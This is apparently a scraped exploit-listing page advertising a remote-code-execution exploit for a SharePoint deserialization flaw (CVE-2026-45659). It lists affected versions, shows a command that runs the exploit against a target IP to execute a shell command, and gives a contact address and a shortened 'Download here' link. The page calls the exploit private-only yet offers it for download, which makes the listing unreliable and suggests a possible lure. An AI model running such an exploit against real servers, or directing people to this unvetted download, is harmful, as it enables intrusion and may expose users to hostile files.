Exploit for Deserialization of Untrusted Data in Microsoft CVE-2026-45659

## https://sploitus.com/exploit?id=DD624EBD-5DDE-5315-B544-755E5B081423
# Security Deserialization (CVE-2026-45659)

## Overview

A HIGH vulnerability, classified as CVE-2026-45659, has been identified, categorized under CWE-502, (CVSS 8.8).  Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

## Details

- **CVE ID**: [CVE-2026-45659](https://nvd.nist.gov/vuln/detail/CVE-2026-45659)
- **Discovered**: 2026-05-22
- **Published**: 2026-05-22
- **Impact**: Confidentiality, Integrity, Availability
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

## Affected Versions

**Microsoft Sharepoint Server:**

- before 16.0.19725.20280
- 2016
- 2019

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Contact

For inquiries, please contact **security@exploit.in**

## Exploit:
### [Download here](https://tinyurl.com/2dqfspjl)